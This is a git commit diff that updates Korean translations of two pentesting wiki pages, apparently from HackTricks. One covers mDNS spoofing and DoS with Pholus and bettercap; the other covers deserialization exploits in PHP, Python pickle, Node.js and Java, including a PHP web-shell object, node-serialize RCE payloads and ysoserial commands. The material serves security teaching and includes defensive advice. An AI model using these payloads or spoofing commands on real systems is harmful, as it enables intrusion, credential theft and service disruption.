Translated ['src/network-services-pentesting/5353-udp-multicast-dns-mdns

This commit is contained in:
Translator 2025-08-20 14:37:09 +00:00
parent 16e28c67a9
commit e43c299ff7
2 changed files with 146 additions and 97 deletions

View File

@ -13,7 +13,7 @@ Key protocol details youll often leverage during attacks:
- .local 영역의 이름은 mDNS를 통해 해결됩니다.
- QU (Query Unicast) 비트는 멀티캐스트 질문에 대해서도 유니캐스트 응답을 요청할 수 있습니다.
- 구현은 로컬 링크에서 출발하지 않은 패킷을 무시해야 하지만, 일부 스택은 여전히 이를 수용합니다.
- 프로빙/발표는 고유한 호스트/서비스 이름을 강제합니다; 여기서 간섭하면 DoS/“이름 점유” 조건이 발생합니다.
- 프로빙/발표는 고유한 호스트/서비스 이름을 강제하며, 여기에서 간섭하면 DoS/“이름 점유” 조건이 발생합니다.
## DNS-SD 서비스 모델
@ -33,7 +33,7 @@ sudo nmap --script=broadcast-dns-service-discovery
```bash
# 서비스 유형 목록
avahi-browse -bt _services._dns-sd._udp
# 모든 서비스 탐색 및 호스트/포트로 해결
# 모든 서비스를 탐색하고 호스트/포트로 해결
avahi-browse -art
```
- Apple dns-sd (macOS):
@ -59,7 +59,7 @@ Tip: 일부 브라우저/WebRTC는 로컬 IP를 숨기기 위해 임시 mDNS 호
### mDNS 이름 프로빙 간섭 (DoS / 이름 점유)
프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 새로운 이름을 선택하거나 실패하도록 강제니다. 이는 서비스 등록 및 발견을 지연시키거나 방지할 수 있습니다.
프로빙 단계에서 호스트는 이름의 고유성을 확인합니다. 스푸핑된 충돌로 응답하면 새로운 이름을 선택하거나 실패하도록 강제니다. 이는 서비스 등록 및 발견을 지연시키거나 방지할 수 있습니다.
Example with Pholus:
```bash
@ -68,10 +68,10 @@ sudo python3 pholus3.py <iface> -afre -stimeout 1000
```
### 서비스 스푸핑 및 사칭 (MitM)
광고된 DNS-SD 서비스를 사칭하여 (프린터, AirPlay, HTTP, 파일 공유) 클라이언트가 당신에게 연결하도록 유도합니다. 이는 특히 다음에 유용합니다:
광고된 DNS-SD 서비스를 사칭하여 (프린터, AirPlay, HTTP, 파일 공유) 클라이언트가 당신에게 연결하도록 유도합니다. 이는 특히 유용합니다:
- _ipp._tcp 또는 _printer._tcp를 스푸핑하여 문서를 캡처합니다.
- 클라이언트를 HTTP/HTTPS 서비스로 유하여 토큰/쿠키를 수집하거나 페이로드를 전달합니다.
- Windows 클라이언트가 사칭된 서비스에 대한 인증을 협상할 때 NTLM 릴레이 기술과 결합합니다.
- 클라이언트를 HTTP/HTTPS 서비스로 유하여 토큰/쿠키를 수집하거나 페이로드를 전달합니다.
- Windows 클라이언트가 스푸핑된 서비스에 대한 인증을 협상할 때 NTLM 릴레이 기술과 결합합니다.
bettercap의 zerogod 모듈(mDNS/DNS-SD 스푸퍼/사칭자) 사용:
```bash
@ -92,59 +92,59 @@ sudo bettercap -iface <iface> -eval "zerogod.discovery on"
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml
```
또한 일반 LLMNR/NBNS/mDNS/WPAD 스푸핑 및 자격 증명 캡처/릴레이 워크플로를 참조하십시오:
Also see generic LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### 최근 구현 문제에 대한 노트 (참여 중 DoS/지속성에 유용)
### Notes on recent implementation issues (useful for DoS/persistence during engagements)
- Avahi reachable-assertion 및 D-Bus 충돌 버그(2023)는 Linux 배포판에서 avahi-daemon을 종료시킬 수 있으며, 이는 재시작할 때까지 대상 호스트에서 서비스 검색을 방해합니다.
- Cisco IOS XE 무선 LAN 컨트롤러 mDNS 게이트웨이 DoS(2024, CVE-2024-20303)는 인접 공격자가 높은 CPU를 유도하고 AP를 연결 해제할 수 있게 합니다. VLAN 간에 mDNS 게이트웨이를 발견하면 잘못된 형식이나 높은 비율의 mDNS에 대한 안정성에 유의하십시오.
- Cisco IOS XE Wireless LAN Controller mDNS 게이트웨이 DoS(2024, CVE-2024-20303)는 인접 공격자가 높은 CPU를 유도하고 AP를 연결 해제할 수 있게 합니다. VLAN 간에 mDNS 게이트웨이를 발견하면 잘못된 형식이나 높은 비율의 mDNS에 대한 안정성에 유의하십시오.
## 방어적 고려사항 및 OPSEC
## Defensive considerations and OPSEC
- 세그먼트 경계: mDNS 게이트웨이가 명시적으로 필요하지 않는 한 보안 구역 간에 224.0.0.251/FF02::FB를 라우팅하지 마십시오. 검색을 브리징해야 하는 경우 허용 목록 및 비율 제한을 선호하십시오.
- Windows 엔드포인트/서버:
- mDNS를 통한 이름 해제를 강제로 비활성화하려면 레지스트리 값을 설정하고 재부팅하십시오:
- Segment boundaries: 보안 구역 간에 224.0.0.251/FF02::FB를 라우팅하지 마십시오. mDNS 게이트웨이가 명시적으로 필요하지 않는 한 그렇습니다. 검색을 브리징해야 하는 경우, 허용 목록과 비율 제한을 선호하십시오.
- Windows endpoints/servers:
- mDNS를 통한 이름 해석을 강제로 비활성화하려면 레지스트리 값을 설정하고 재부팅하십시오:
```
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
```
- 관리되는 환경에서는 내장된 “mDNS (UDP-In)” Windows Defender 방화벽 규칙(최소한 도메인 프로필에서)을 비활성화하여 홈/로밍 기능을 유지하면서 수신 mDNS 처리를 방지하십시오.
- 최신 Windows 11 빌드/GPO 템플릿에서는 “컴퓨터 구성 > 관리 템플릿 > 네트워크 > DNS 클라이언트 > 멀티캐스트 DNS(mDNS) 프로토콜 구성” 정책을 사용하고 이를 비활성화로 설정하십시오.
- 관리되는 환경에서는 기본 제공 “mDNS (UDP-In)” Windows Defender 방화벽 규칙을 비활성화하여(최소한 도메인 프로필에서) 인바운드 mDNS 처리를 방지하면서 홈/로밍 기능을 유지하십시오.
- 최신 Windows 11 빌드/GPO 템플릿에서는 “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” 정책을 사용하고 이를 비활성화로 설정하십시오.
- Linux (Avahi):
- 필요하지 않을 때 게시를 잠그십시오: `disable-publishing=yes`를 설정하고 `/etc/avahi/avahi-daemon.conf`에서 `allow-interfaces=` / `deny-interfaces=`로 인터페이스를 제한하십시오.
- `check-response-ttl=yes`를 고려하고 엄격히 필요하지 않는 한 `enable-reflector=yes`를 피하십시오; 반사할 때는 `reflect-filters=` 허용 목록을 선호하십시오.
- macOS: 특정 서브넷에 대해 Bonjour 검색이 필요하지 않을 때 호스트/네트워크 방화벽에서 수신 mDNS를 제한하십시오.
- 모니터링: `_services._dns-sd._udp.local` 쿼리의 비정상적인 급증이나 중요한 서비스의 SRV/TXT의 갑작스러운 변화를 경고하십시오; 이는 스푸핑 또는 서비스 사칭의 지표입니다.
- macOS: 특정 서브넷에 대해 Bonjour 검색이 필요하지 않을 때 호스트/네트워크 방화벽에서 인바운드 mDNS를 제한하십시오.
- Monitoring: `_services._dns-sd._udp.local` 쿼리의 비정상적인 급증이나 중요한 서비스의 SRV/TXT의 갑작스러운 변화를 경고하십시오; 이는 스푸핑 또는 서비스 사칭의 지표입니다.
## 도구 빠른 참조
## Tooling quick reference
- nmap NSE: `dns-service-discovery``broadcast-dns-service-discovery`.
- Pholus: 능동 스캔, 역 mDNS 스윕, DoS 및 스푸핑 도우미.
```bash
# 수동 스니프 (타임아웃 초)
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# 서비스 유형 열거
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# 일반 mDNS 요청 전송
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# 서브넷의 역 mDNS 스윕
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
```
- bettercap zerogod: mDNS/DNS-SD 서비스를 발견, 저장, 광고 및 사칭합니다(위의 예 참조).
- bettercap zerogod: mDNS/DNS-SD 서비스를 발견하고, 저장하고, 광고하고, 사칭합니다(위의 예 참조).
## 스푸핑/MitM
## Spoofing/MitM
이 서비스에서 수행할 수 있는 가장 흥미로운 공격은 클라이언트와 실제 서버 간의 통신에서 MitM을 수행하는 것입니다. 민감한 파일(프린터와의 통신을 MitM)이나 자격 증명(Windows 인증)을 얻을 수 있을지도 모릅니다.\
자세한 내용은 다음을 확인하십시오:
자세한 내용은 확인하십시오:
{{#ref}}
../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
## 참고문헌
## References
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical_IoT_Hacking.html?id=GbYEEAAAQBAJ&redir_esc=y)
- [Nmap NSE: broadcast-dns-service-discovery](https://nmap.org/nsedoc/scripts/broadcast-dns-service-discovery.html)

View File

@ -4,7 +4,7 @@
## Basic Information
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해됩니다. 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Serialization**은 객체를 보존할 수 있는 형식으로 변환하는 방법으로 이해되며, 이는 객체를 저장하거나 통신 과정의 일부로 전송할 의도를 가지고 있습니다. 이 기술은 객체가 나중에 재생성될 수 있도록 하여 구조와 상태를 유지하는 데 일반적으로 사용됩니다.
**Deserialization**은 반대로 직렬화에 반하는 과정입니다. 이는 특정 형식으로 구조화된 데이터를 가져와 다시 객체로 재구성하는 것을 포함합니다.
@ -14,11 +14,11 @@ Deserialization은 **공격자가 직렬화된 데이터를 조작하여 해로
PHP에서는 직렬화 및 역직렬화 과정에서 특정 매직 메서드가 사용됩니다:
- `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
- `__sleep`: 객체가 직렬화될 때 호출됩니다. 이 메서드는 직렬화되어야 할 객체의 모든 속성 이름의 배열을 반환해야 합니다. 일반적으로 보류 중인 데이터를 커밋하거나 유사한 정리 작업을 수행하는 데 사용됩니다.
- `__wakeup`: 객체가 역직렬화될 때 호출됩니다. 이는 직렬화 중에 손실된 데이터베이스 연결을 재설정하고 다른 재초기화 작업을 수행하는 데 사용됩니다.
- `__unserialize`: 이 메서드는 객체가 역직렬화될 때 `__wakeup` 대신 호출됩니다(존재하는 경우). 이는 `__wakeup`에 비해 역직렬화 과정에 대한 더 많은 제어를 제공합니다.
- `__destruct`: 이 메서드는 객체가 파괴되기 직전이나 스크립트가 끝날 때 호출됩니다. 일반적으로 파일 핸들이나 데이터베이스 연결을 닫는 등의 정리 작업에 사용됩니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 따라 다른 작업을 수행하는 데 사용될 수 있으며, 객체의 텍스트 표현을 효과적으로 제공합니다.
- `__toString`: 이 메서드는 객체를 문자열로 취급할 수 있게 해줍니다. 이는 파일을 읽거나 그 안의 함수 호출에 기반한 다른 작업을 수행하는 데 사용될 수 있으며, 효과적으로 객체의 텍스트 표현을 제공합니다.
```php
<?php
class test {
@ -77,7 +77,7 @@ This is a test<br />
결과를 보면 객체가 역직렬화될 때 **`__wakeup`** 및 **`__destruct`** 함수가 호출되는 것을 알 수 있습니다. 여러 튜토리얼에서 **`__toString`** 함수가 일부 속성을 출력하려고 할 때 호출된다고 하지만, 현재는 **더 이상 그렇지 않은 것 같습니다**.
> [!WARNING]
> 클래스에 구현된 경우 **`__wakeup()`** 대신 **`__unserialize(array $data)`** 메서드가 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
> 클래스에 구현된 경우 **`__unserialize(array $data)`** 메서드가 **`__wakeup()`** 대신 호출됩니다. 이 메서드는 직렬화된 데이터를 배열로 제공하여 객체를 역직렬화할 수 있게 해줍니다. 이 메서드를 사용하여 속성을 역직렬화하고 역직렬화 시 필요한 작업을 수행할 수 있습니다.
>
> ```php
> class MyClass {
@ -90,7 +90,7 @@ This is a test<br />
> }
> ```
설명된 **PHP 예제 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
설명된 **PHP 예제 여기에서** 읽을 수 있습니다: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), 여기 [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) 또는 여기 [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
@ -158,7 +158,7 @@ return $data;
```
O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
```
관리자가 항목을 조회하자마자 객체가 인스턴스화되고 `SomeClass::__destruct()`가 실행되어 임의 코드 실행이 발생했습니다.
관리자가 항목을 조회하자마자 객체가 인스턴스화되고 `SomeClass::__destruct()`가 실행되어 임의 코드 실행이 발생했습니다.
**주요 사항**
1. `unserialize()`를 호출할 때 항상 `['allowed_classes' => false]` (또는 엄격한 화이트리스트)를 전달하세요.
@ -175,8 +175,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
### phar:// 메타데이터 역직렬화
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우입니다.** **phar** 프로토콜을 사용하여 **파일**을 **읽을 때** 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
자세한 정보는 다음 게시물을 읽어보세요:
파일을 읽기만 하고 그 안의 PHP 코드를 실행하지 않는 LFI를 찾았다면, 예를 들어 _**file_get_contents(), fopen(), file() 또는 file_exists(), md5_file(), filemtime() 또는 filesize()**_**와 같은 함수를 사용하는 경우**. **phar** 프로토콜을 사용하여 **파일**을 읽을 때 발생하는 **역직렬화**를 악용해 볼 수 있습니다.\
자세한 내용은 다음 게시물을 읽어보세요:
{{#ref}}
../file-inclusion/phar-deserialization.md
@ -186,8 +186,8 @@ O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}
### **Pickle**
객체가 언픽클될 때, 함수 \_\_\_reduce\_\_\_가 실행됩니다.\
악용될 경우, 서버는 오류를 반환할 수 있습니다.
객체가 언픽클될 때 함수 \_\_\_reduce\_\_\_가 실행됩니다.\
악용될 경우 서버가 오류를 반환할 수 있습니다.
```python
import pickle, os, base64
class P(object):
@ -197,7 +197,7 @@ print(base64.b64encode(pickle.dumps(P())))
```
바이패스 기술을 확인하기 전에, `print(base64.b64encode(pickle.dumps(P(),2)))`를 사용하여 python3를 실행 중인 경우 python2와 호환되는 객체를 생성해 보세요.
**pickle jails**에서 탈출하는 방법에 대한 더 많은 정보는 다음을 확인하세요:
**pickle jails**에서 탈출하는 방법에 대한 자세한 정보는 다음을 확인하세요:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -224,7 +224,7 @@ python-yaml-deserialization.md
JS는 PHP나 Python처럼 객체 생성을 위해 실행되는 **"매직" 함수**가 없습니다. 그러나 **`toString`**, **`valueOf`**, **`toJSON`**과 같이 **직접 호출하지 않고도 자주 사용되는 함수**가 있습니다.\
역직렬화를 악용할 경우, 이러한 함수를 **타협하여 다른 코드를 실행**할 수 있으며(프로토타입 오염을 악용할 가능성 있음), 호출될 때 임의의 코드를 실행할 수 있습니다.
함수를 직접 호출하지 않고 호출하는 또 다른 **"매직" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성을 가진 또 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따라가세요._
함수를 직접 호출하지 않고 호출하는 또 다른 **"매직" 방법**은 **비동기 함수**(프라미스)에서 반환된 객체를 **타협하는 것**입니다. 왜냐하면, 그 **반환 객체**를 **"then"이라는 함수형 속성을 가진 또 다른 **프라미스**로 **변환**하면, 다른 프라미스에 의해 반환되기 때문에 **실행**됩니다. _자세한 정보는_ [_**이 링크**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _를 따라가세요._
```javascript
// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
@ -285,8 +285,8 @@ console.log("Serialized: \n" + payload_serialized)
마지막 코드 조각에서 볼 수 있듯이, **플래그가 발견되면** `eval`이 사용되어 함수를 역직렬화하므로 기본적으로 **사용자 입력이 `eval` 함수 안에서 사용됩니다**.
그러나 **함수를 단순히 직렬화하는 것만으로는** 실행되지 않으며, 코드의 일부가 **우리의 예제에서 `y.rce`를 호출해야** 하므로 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가**하면 객체가 역직렬화될 때 직렬화된 함수가 자동으로 실행되도록 할 수 있습니다.\
하지만, **함수를 단순히 직렬화하는 것만으로는** 실행되지 않습니다. 왜냐하면 코드의 일부가 **우리의 예제에서 `y.rce`를 호출해야 하기 때문이며**, 이는 매우 **가능성이 낮습니다**.\
어쨌든, **직렬화된 객체를 수정하여** **괄호를 추가함으로써** 객체가 역직렬화될 때 직렬화된 함수를 자동으로 실행할 수 있습니다.\
다음 코드 조각에서 **마지막 괄호**와 `unserialize` 함수가 코드를 자동으로 실행하는 방식을 주목하세요:
```javascript
var serialize = require("node-serialize")
@ -295,7 +295,7 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
이전에 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해 함수 생성 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너를 실행**하면 됩니다:
앞서 언급했듯이, 이 라이브러리는 `_$$ND_FUNC$$_` 이후의 코드를 가져와서 **실행**합니다. 따라서 **코드를 자동으로 실행**하기 위해서는 **함수 생성** 부분과 마지막 괄호를 **삭제하고** 다음 예제와 같이 **JS 원라이너****실행**하면 됩니다:
```javascript
var serialize = require("node-serialize")
var test =
@ -306,7 +306,7 @@ serialize.unserialize(test)
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**의 주목할 만한 측면은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 방지되어, `console.log()``require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
**funcster**의 주목할 만한 은 **표준 내장 객체**에 대한 접근 불가능성입니다. 이들은 접근 가능한 범위를 벗어납니다. 이 제한으로 인해 내장 객체에서 메서드를 호출하려는 코드 실행이 차단되어, `console.log()``require(something)`와 같은 명령을 사용할 때 `"ReferenceError: console is not defined"`와 같은 예외가 발생합니다.
이 제한에도 불구하고, 특정 접근 방식을 통해 모든 표준 내장 객체를 포함한 전역 컨텍스트에 대한 전체 접근을 복원하는 것이 가능합니다. 전역 컨텍스트를 직접 활용함으로써 이 제한을 우회할 수 있습니다. 예를 들어, 다음 스니펫을 사용하여 접근을 재설정할 수 있습니다:
```javascript
@ -340,7 +340,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
이 함수가 객체를 역직렬화하는 데 사용된다면 **쉽게 악용할 수 있습니다**:
이 함수가 객체를 역직렬화하는 데 사용된다면, 당신은 **쉽게 이를 악용할 수 있습니다**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -387,14 +387,14 @@ Java에서는 **역직렬화 콜백이 역직렬화 과정 중에 실행됩니
#### 블랙 박스
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 ( `ObjectInputStream`에서 유래):
블랙 박스 테스트의 경우, java 직렬화 객체를 나타내는 특정 **서명 또는 "매직 바이트"**를 찾으세요 (`ObjectInputStream`에서 유래):
- 16진수 패턴: `AC ED 00 05`.
- Base64 패턴: `rO0`.
- `Content-type``application/x-java-serialized-object`로 설정된 HTTP 응답 헤더.
- 이전 압축을 나타내는 16진수 패턴: `1F 8B 08 00`.
- 이전 압축을 나타내는 Base64 패턴: `H4sIA`.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState Deserialization에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
- `.faces` 확장자를 가진 웹 파일과 `faces.ViewState` 매개변수. 웹 애플리케이션에서 이러한 패턴을 발견하면 [Java JSF ViewState 역직렬화에 대한 게시물](java-jsf-viewstate-.faces-deserialization.md)에서 자세히 설명된 대로 검토해야 합니다.
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -409,9 +409,9 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
당신은 **취약한 모든 라이브러리**를 확인해 볼 수 있으며, [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에서 언급된 라이브러리를 확인할 수 있습니다.\
당신은 **취약한 모든 라이브러리**를 확인하고 [**Ysoserial**](https://github.com/frohoff/ysoserial)이 제공할 수 있는 익스플로잇을 찾을 수 있습니다. 또는 [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)에 표시된 라이브러리를 확인할 수 있습니다.\
또한 [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)를 사용하여 익스플로잇할 수 있는 가능한 가젯 체인을 검색할 수 있습니다.\
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며, 잘못된 긍정 결과를 나타낼 수 있습니다**.
**gadgetinspector**를 실행할 때(빌드한 후) 수많은 경고/오류에 신경 쓰지 말고 완료될 때까지 기다리세요. 모든 결과는 _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_에 기록됩니다. **gadgetinspector는 익스플로잇을 생성하지 않으며 잘못된 긍정 결과를 나타낼 수 있습니다**.
#### 블랙 박스 테스트
@ -428,14 +428,14 @@ Java Deserialization Scanner는 **`ObjectInputStream`** deserialization에 중
**직렬화 테스트**
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[SerializationDumper](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
서버에서 취약한 라이브러리가 사용되고 있는지 확인하는 것만이 전부는 아닙니다. 때때로 **직렬화된 객체 내부의 데이터를 변경하고 일부 검사를 우회할 수 있습니다**(웹 애플리케이션 내에서 관리자 권한을 부여할 수 있습니다).\
웹 애플리케이션으로 전송되는 자바 직렬화 객체를 발견하면, **[**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper)**를 사용하여 전송되는 직렬화 객체를 더 인간이 읽기 쉬운 형식으로 출력할 수 있습니다. 어떤 데이터를 전송하고 있는지 알면 이를 수정하고 일부 검사를 우회하기가 더 쉬워질 것입니다.
### **익스플로잇**
#### **ysoserial**
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
Java deserialization을 익스플로잇하는 주요 도구는 [**ysoserial**](https://github.com/frohoff/ysoserial)입니다 ([**여기에서 다운로드**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). 또한 복잡한 명령(예: 파이프 사용)을 사용할 수 있는 [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)를 사용하는 것도 고려할 수 있습니다.\
이 도구는 **`ObjectInputStream`**을 익스플로잇하는 데 **중점을 두고** 있습니다.\
나는 **RCE** 페이로드를 테스트하기 전에 **"URLDNS"** 페이로드를 사용하기 시작할 것입니다. 어쨌든 "URLDNS" 페이로드가 작동하지 않을 수 있지만 다른 RCE 페이로드는 작동할 수 있습니다.
```bash
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때, 실행의 출력을 리디렉션하기 위해 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, 명령을 실행하기 위해 "$()"를 사용할 수 없고, **공백**으로 구분된 **인수**를 명령에 전달할 수 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
**java.lang.Runtime.exec()**에 대한 페이로드를 생성할 때, 실행의 출력을 리디렉션하기 위해 ">" 또는 "|"와 같은 특수 문자를 사용할 수 없으며, 명령을 실행하기 위해 "$()"를 사용하거나 **공백**으로 구분된 **인수**를 명령에 전달할 수 없습니다 (예: `echo -n "hello world"`는 가능하지만 `python2 -c 'print "Hello world"'`는 불가능합니다). 페이로드를 올바르게 인코딩하기 위해 [이 웹페이지](http://www.jackson-t.ca/runtime-exec-payloads.html)를 사용할 수 있습니다.
다음 스크립트를 사용하여 Windows와 Linux에 대한 **모든 가능한 코드 실행** 페이로드를 생성한 후 취약한 웹 페이지에서 테스트해 보세요:
```python
@ -548,7 +548,7 @@ Java는 다양한 목적을 위해 많은 직렬화를 사용합니다:
- **HTTP 요청**: 직렬화는 매개변수, ViewState, 쿠키 등을 관리하는 데 널리 사용됩니다.
- **RMI (원격 메서드 호출)**: Java RMI 프로토콜은 직렬화에 전적으로 의존하며, Java 애플리케이션의 원격 통신의 초석입니다.
- **HTTP를 통한 RMI**: 이 방법은 Java 기반의 두꺼운 클라이언트 웹 애플리케이션에서 일반적으로 사용되며, 모든 객체 통신에 직렬화를 활용합니다.
- **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송하는 데 직렬화를 사용합니다.
- **JMX (Java Management Extensions)**: JMX는 네트워크를 통해 객체를 전송하기 위해 직렬화를 사용합니다.
- **사용자 정의 프로토콜**: Java에서는 표준 관행으로 원시 Java 객체를 전송하는 것이 포함되며, 이는 향후 익스플로잇 예제에서 시연될 것입니다.
### Prevention
@ -575,9 +575,9 @@ throw new java.io.IOException("Cannot be deserialized");
**`java.io.ObjectInputStream` 사용자 정의**는 역직렬화 프로세스를 보호하기 위한 실용적인 접근 방식입니다. 이 방법은 다음과 같은 경우에 적합합니다:
- 역직렬화 코드가 귀하의 제어 하에 있을 때.
- 역직렬화에 예상되는 클래스가 알려져 있을 때.
- 역직렬화에 대해 예상되는 클래스가 알려져 있을 때.
**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 명시적으로 허용된 클래스인 `Bicycle` 클래스만 역직렬화되도록 방지합니다:
**`resolveClass()`** 메서드를 오버라이드하여 허용된 클래스만 역직렬화되도록 제한합니다. 이는 다음 예제와 같이 `Bicycle` 클래스만 역직렬화되도록 제한하여, 명시적으로 허용된 클래스 외에는 어떤 클래스도 역직렬화되지 않도록 방지합니다:
```java
